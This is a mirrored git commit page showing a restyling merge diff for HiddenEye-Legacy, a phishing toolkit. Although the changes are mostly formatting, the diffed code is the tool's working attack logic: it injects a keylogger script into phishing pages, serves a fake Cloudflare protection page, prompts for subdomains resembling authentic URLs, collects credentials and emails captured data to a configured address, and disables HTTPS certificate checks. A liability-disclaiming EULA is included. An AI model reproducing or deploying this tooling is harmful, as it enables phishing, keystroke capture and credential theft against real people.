mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Merge pull request #747 from DarkSecDevelopers/restyled/dev
Restyle Merge Dev to Master
This commit is contained in:
commit
f4f28c6583
|
@ -335,8 +335,9 @@ def start_localxpose(port):
|
|||
def custom(port):
|
||||
|
||||
print(global_localization.small_logo)
|
||||
print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
run_command(
|
||||
|
@ -575,4 +576,4 @@ def start_pagekite(port):
|
|||
.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print("[!] Please Copy the Generated Link For Further Use")
|
||||
credentials_collector(port)
|
||||
credentials_collector(port)
|
||||
|
|
|
@ -91,7 +91,9 @@ def terms_of_service_message():
|
|||
agreement = license_handler()
|
||||
if not agreement:
|
||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(
|
||||
localization.
|
||||
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||
print(localization.
|
||||
lang_terms_of_service_message["do_you_accept_license"])
|
||||
print(localization.
|
||||
|
@ -207,7 +209,7 @@ def log_writer(ctx): # Writing log
|
|||
log_file.write(
|
||||
ctx.replace(default_palette[0], "").replace(
|
||||
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
|
||||
|
@ -275,14 +277,16 @@ def verify_connection(
|
|||
elif internet_choice == "n":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(" " + global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.
|
||||
lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
|
|
|
@ -4,81 +4,96 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import base64
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getpass
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import system
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||
# Ask user to start sending credentials to recipient Email Address.
|
||||
def captured_data_email_confirmation(port):
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
|
||||
default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y' or choice == 'y':
|
||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'):
|
||||
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
|
||||
.format(default_palette[0], default_palette[4],
|
||||
default_palette[2])).upper()
|
||||
if choice == "Y" or choice == "y":
|
||||
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
|
||||
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
|
||||
else:
|
||||
print(
|
||||
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
|
||||
"[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
|
||||
)
|
||||
wait(2)
|
||||
simple_informant.exit_message(port)
|
||||
elif choice == 'N' or choice == 'n':
|
||||
elif choice == "N" or choice == "n":
|
||||
simple_informant.exit_message(port)
|
||||
else:
|
||||
system('clear')
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4],
|
||||
default_palette[2]))
|
||||
system("clear")
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
|
||||
default_palette[0], default_palette[4], default_palette[2]))
|
||||
wait(1)
|
||||
system('clear')
|
||||
system("clear")
|
||||
return captured_data_email_confirmation(port)
|
||||
|
||||
|
||||
def captured_data_email_configuration_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
run_command("clear")
|
||||
print("""{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
|
||||
'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
copyfile(
|
||||
"Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
|
||||
"Defs/FeatureManager/EmailManager/emailconfig.py",
|
||||
)
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
GMAILPASSWORD = getpass.getpass(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
||||
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
|
||||
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
|
||||
c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input(
|
||||
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
|
|
@ -4,10 +4,13 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import replace
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
@ -15,15 +18,16 @@ default_palette = theme.default_palette
|
|||
def add_cloudfare():
|
||||
# run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# & cp WebPages/cloudfare.html Server/www/index.html')
|
||||
chmod('Server', 0o777)
|
||||
chmod('Server/www', 0o777)
|
||||
chmod("Server", 0o777)
|
||||
chmod("Server/www", 0o777)
|
||||
try:
|
||||
replace('Server/www/index.php', 'Server/www/home.php')
|
||||
replace("Server/www/index.php", "Server/www/home.php")
|
||||
except:
|
||||
replace('Server/www/index.html', 'Server/www/home.php')
|
||||
replace("Server/www/index.html", "Server/www/home.php")
|
||||
else:
|
||||
print('Unable to find index file, skipping...')
|
||||
print("Unable to find index file, skipping...")
|
||||
return
|
||||
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
|
||||
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(1)
|
||||
|
|
|
@ -4,16 +4,15 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
from time import sleep
|
||||
|
||||
|
||||
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
from time import sleep
|
||||
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
@ -43,4 +42,3 @@ def feature_prompt():
|
|||
print(global_localization.invalid_option)
|
||||
sleep(3)
|
||||
feature_prompt()
|
||||
|
||||
|
|
|
@ -4,33 +4,34 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def add_keylogger():
|
||||
if path.exists('Server/www/index.html'):
|
||||
with open('Server/www/index.html') as f:
|
||||
if path.exists("Server/www/index.html"):
|
||||
with open("Server/www/index.html") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace(
|
||||
'</title>', '</title><script src="keylogger.js"></script>')
|
||||
f = open('Server/www/index.html', 'w')
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.html", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
else:
|
||||
with open('Server/www/index.php') as f:
|
||||
with open("Server/www/index.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace(
|
||||
'</title>', '</title><script src="keylogger.js"></script>')
|
||||
f = open('Server/www/index.php', 'w')
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
|
||||
|
|
|
@ -5,11 +5,11 @@
|
|||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import base64
|
||||
import stat
|
||||
import getpass
|
||||
import platform
|
||||
import re as regular_expression
|
||||
import socket
|
||||
import stat
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from io import BytesIO
|
||||
from os import chdir
|
||||
|
|
|
@ -4,8 +4,6 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
@ -14,4 +12,6 @@ default_palette = theme.default_palette
|
|||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print("".join(word.ljust(col_width)
|
||||
for word in row).format(default_palette[0],
|
||||
default_palette[2]))
|
||||
|
|
|
@ -48,11 +48,11 @@ lang_verify_connection = {
|
|||
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"continue_warning":
|
||||
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"continue_confirmation":
|
||||
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
||||
default_palette[2], default_palette[0])
|
||||
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_module_loading_message = {
|
||||
|
|
|
@ -4,26 +4,29 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
feature_prompt = {
|
||||
"feature_alert":
|
||||
_(
|
||||
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
|
||||
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
|
||||
default_palette[0], default_palette[4])),
|
||||
_("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
|
||||
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
|
||||
.format(default_palette[0], default_palette[4])),
|
||||
"keylogger":
|
||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"cloudfare":
|
||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"email":
|
||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"none":
|
||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
|
||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"example":
|
||||
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
|
||||
}
|
||||
_("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
|
||||
.format(default_palette[0], default_palette[2])),
|
||||
}
|
||||
|
|
|
@ -4,9 +4,8 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
hidden_eye_logo = """
|
||||
|
@ -14,16 +13,20 @@ hidden_eye_logo = """
|
|||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
|
||||
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
|
||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0])
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(
|
||||
default_palette[4], default_palette[2], default_palette[0])
|
||||
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
|
||||
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
|
||||
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
|
||||
line_of_dots = '{0}...............................'.format(default_palette[0])
|
||||
small_logo = '''{1}
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
|
||||
default_palette[2])
|
||||
official_website_link = "{0}https://dark-sec-official.com".format(
|
||||
default_palette[0])
|
||||
by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
|
||||
line_of_dots = "{0}...............................".format(default_palette[0])
|
||||
small_logo = """{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])
|
||||
invalid_option = "Please choose a valid option."
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2])
|
||||
invalid_option = "Please choose a valid option."
|
||||
|
|
|
@ -4,10 +4,8 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
import gettext
|
||||
|
||||
gettext.bindtextdomain('HiddenEye', 'locale')
|
||||
gettext.textdomain('HiddenEye')
|
||||
gettext.bindtextdomain("HiddenEye", "locale")
|
||||
gettext.textdomain("HiddenEye")
|
||||
_ = gettext.gettext
|
||||
|
|
|
@ -5,5 +5,10 @@
|
|||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later,
|
||||
default_palette = [
|
||||
"\033[91m",
|
||||
"\033[46m",
|
||||
"\033[36m",
|
||||
"\033[1;32m",
|
||||
"\033[0m",
|
||||
] # TODO Will be replaced later,
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
import multiprocessing
|
||||
import ssl
|
||||
from os import environ
|
||||
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
|
@ -19,7 +19,6 @@ if EULAController().check_eula_existence() is False:
|
|||
if EULAController().check_eula_confirmation() is False:
|
||||
EULAController().confirm_eula()
|
||||
|
||||
|
||||
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
||||
ssl, "_create_unverified_context", None):
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
@ -45,7 +44,7 @@ if __name__ == "__main__":
|
|||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=server_runner.start_server,
|
||||
args=(port,)).start()
|
||||
args=(port, )).start()
|
||||
simple_informant.credentials_collector()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
|
|
@ -1,14 +1,15 @@
|
|||
import pathlib
|
||||
from os import chmod
|
||||
import stat
|
||||
from os import chmod
|
||||
|
||||
from views.EULA_view import EULAView
|
||||
|
||||
|
||||
class EULAController:
|
||||
def __init__(self, confirmation_text: str = 'eula = True'):
|
||||
def __init__(self, confirmation_text: str = "eula = True"):
|
||||
self.eula = "eula.txt"
|
||||
self.confirmation_text = confirmation_text
|
||||
self.license = open("LICENSE", 'r')
|
||||
self.license = open("LICENSE", "r")
|
||||
|
||||
def check_eula_existence(self):
|
||||
"""
|
||||
|
@ -23,13 +24,16 @@ class EULAController:
|
|||
def generate_new_eula(self):
|
||||
pathlib.Path(str(self.eula)).touch(exist_ok=True)
|
||||
text_license = self.license.read()
|
||||
with open(str(self.eula), 'w+') as temp_eula:
|
||||
with open(str(self.eula), "w+") as temp_eula:
|
||||
chmod(self.eula, 0o777)
|
||||
temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license))
|
||||
temp_eula.write("{0}\n{1}".format(
|
||||
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||
text_license,
|
||||
))
|
||||
temp_eula.close()
|
||||
|
||||
def check_eula_confirmation(self):
|
||||
with open(self.eula, 'r') as file:
|
||||
with open(self.eula, "r") as file:
|
||||
if self.confirmation_text in file.read():
|
||||
print(EULAView().EULA_messages["eula_is_confirmed"])
|
||||
return True
|
||||
|
@ -39,16 +43,29 @@ class EULAController:
|
|||
|
||||
def confirm_eula(self):
|
||||
# FIXME replace those strings with View entries
|
||||
print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility')
|
||||
print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.')
|
||||
print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.')
|
||||
print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ')
|
||||
print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.')
|
||||
print(
|
||||
f"{self.license.read()}\nGreat Power Comes With Great Responsibility"
|
||||
)
|
||||
print(
|
||||
"\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER."
|
||||
)
|
||||
print(
|
||||
"\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program."
|
||||
)
|
||||
print(
|
||||
"\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this "
|
||||
)
|
||||
print(
|
||||
"\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them."
|
||||
)
|
||||
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
|
||||
answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
|
||||
if answer == "iaccepteula":
|
||||
eula_temp_input = open(self.eula, "rt")
|
||||
eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"])
|
||||
eula_temp_data = eula_temp_input.read().replace(
|
||||
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||
EULAView().EULA_messages["eula_start_of_file_confirmed"],
|
||||
)
|
||||
eula_temp_input.close()
|
||||
eula_temp_input = open(self.eula, "wt")
|
||||
eula_temp_input.write(eula_temp_data)
|
||||
|
|
|
@ -171,4 +171,4 @@ Copyright © 2020 All rights reserved
|
|||
</script>
|
||||
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f2cc84ed21a56e1afac3a6d-|49" defer=""></script>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
|
|
@ -4,11 +4,18 @@ from gettext import gettext as _
|
|||
class EULAView:
|
||||
def __init__(self):
|
||||
self.EULA_messages = {
|
||||
"eula_found": _("EULA is found"),
|
||||
"eula_is_confirmed": _("You accepted EULA"),
|
||||
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"),
|
||||
"eula_not_found": _("EULA isn't found\n Generated new EULA"),
|
||||
"eula_is_invalid": _("EULA is not valid"),
|
||||
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"),
|
||||
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True")
|
||||
"eula_found":
|
||||
_("EULA is found"),
|
||||
"eula_is_confirmed":
|
||||
_("You accepted EULA"),
|
||||
"eula_is_not_confirmed":
|
||||
_("You didn't accept EULA, please open eula.txt"),
|
||||
"eula_not_found":
|
||||
_("EULA isn't found\n Generated new EULA"),
|
||||
"eula_is_invalid":
|
||||
_("EULA is not valid"),
|
||||
"eula_start_of_file_unconfirmed":
|
||||
_("# Please read and accept EULA below\n eula = False"),
|
||||
"eula_start_of_file_confirmed":
|
||||
_("# Please read and accept EULA below\n eula = True"),
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue
Block a user